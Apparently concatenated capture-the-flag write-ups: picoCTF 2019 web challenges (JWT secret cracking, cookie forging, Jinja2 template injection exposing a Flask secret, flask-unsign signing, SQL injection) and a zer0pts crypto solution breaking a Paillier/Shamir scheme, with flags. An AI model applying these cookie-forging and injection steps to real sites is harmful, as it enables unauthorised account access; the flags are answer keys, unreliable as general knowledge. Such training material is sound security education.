http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# dirty laundry Writeup ### zer0pts CTF 2020 - crypto 636 > Do you wanna air my dirty laundry? #### Observations [Paillier cryptosystem](https://en.wikipedia.org/wiki/Paillier_cryptosystem) with [Shamir's secret sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing) is given to me. The algorithms for the system are summarized below. 0. Let `secret = bytes_to_long(flag)`1. 1024 bit strong prime `PRIME` is chosen.2. Lower 256 bit of `PRIME` will be the initial `seed` of prng(`PRNG256`) having output size of 256 bits.3. Polynomial `f(x) = secret + a * x + b * x ** 2 (mod PRIME)` is generated. `a` and `b` are randomly choosn in `GF(PRIME)`.4. Public key `n`, `g` and ciphertext `c` is generated and exposed. Iterate below five times, by changing `x in range(1, 6)`. - `noise`, `key`, and `r` is produced from `PRNG256`, having size of 256 bits. - `n = next_prime(PRIME + noise) * getStrongPrime(512)`, having size of 1024 + 512 = 1536 bits. - `g = (1 + key * n) % n ** 2`, having max size of 256 + 1536 = 1792 - `c = pow(g, f(x) + noise, n ** 2) * pow(r, n, n ** 2) % n ** 2` #### Gaining information gradually by mathematics 1. Recover `key` values - Observe the generation method for `g = (1 + key * n) % n ** 2`. There is no point of modulo division of `n ** 2` because `1 + key * n` has at most 1792 bit length, but `n ** 2` has length of 1536 * 2 = 3072 bits. - Therefore, by knowing `g` and `n`, I can calculate `key = (g - 1) // n`. Sanity check performed by checking bitlength of `key` is about 256 bits.2. Break `PRNG256` by z3. - `key` is the output of `PRNG256`. Supplying constraints to z3, I could recover initial `seed`, which is 256 LSBs of `PRIME`. - Sanity check performed, by comparing next `key` values with outputs generated by `PRNG256` initialized by recovered `seed`.3. Reduce solving systems of equations over `GF(PRIME)`. - `c = pow(g, f(x) + noise, n ** 2) * pow(r, n, n ** 2) % n ** 2` - I now know `r` and `noise` because I broke `PRNG256`. - Let `c_ = pow(g, f(x) + noise, n ** 2) = c * inverse_mod(pow(r, n, n ** 2), n ** 2) % n ** 2` - `c_ = pow(g, f(x) + noise, n ** 2) = (1 + key * n) ** (f(x) + noise) % n ** 2` - Perform binomial expansion. Starting from third term will be divided by `n ** 2`, so simplify the equation. - `c_ = 1 + key * n * (secret + a * x + b * x ** 2 + noise) % n ** 2` - `noise` is known, so simplify again. - Let `c__ = key * n * (secret + a * x + b * x ** 2) = (c_ - 1) * inverse_mod(key * n * noise, n ** 2) % n ** 2` - Sanity check of `c__`; it must have max bit length of 256 + 1536 + 1024 = 2816. - Luckily, `c__` was dividable by each `n`! Now we do not need to think about operation over `GF`.4. Solve plain systems of equations. - Let `c__[i]` be the result per each `x in range(1, 6)` - `c__[0] = secret + a * 1 + b * 1 ** 2 = secret + a + b` - `c__[1] = secret + a * 2 + b * 2 ** 2 = secret + 2 * a + 4 * b` - `c__[2] = secret + a * 3 + b * 3 ** 2 = secret + 3 * a + 9 * b` - I only need three equations because there are three unknown variables, `secret`, `a`, `b`. - `secret = c__[0] * 3 + c__[1] * -3 + c__[2] * 1` - `flag = l2b(secret)` I strongly think this solution is unintended, because 256 LSBs of `PRIME` was never used. The system may be broken by using LLL. After all these tedious computations, I finally get the flag: ```zer0pts{excellent_w0rk!y0u_are_a_master_0f_crypt0!!!}``` Exploit code: [solve.py](solve.py) Run with `python3 -O solve.py`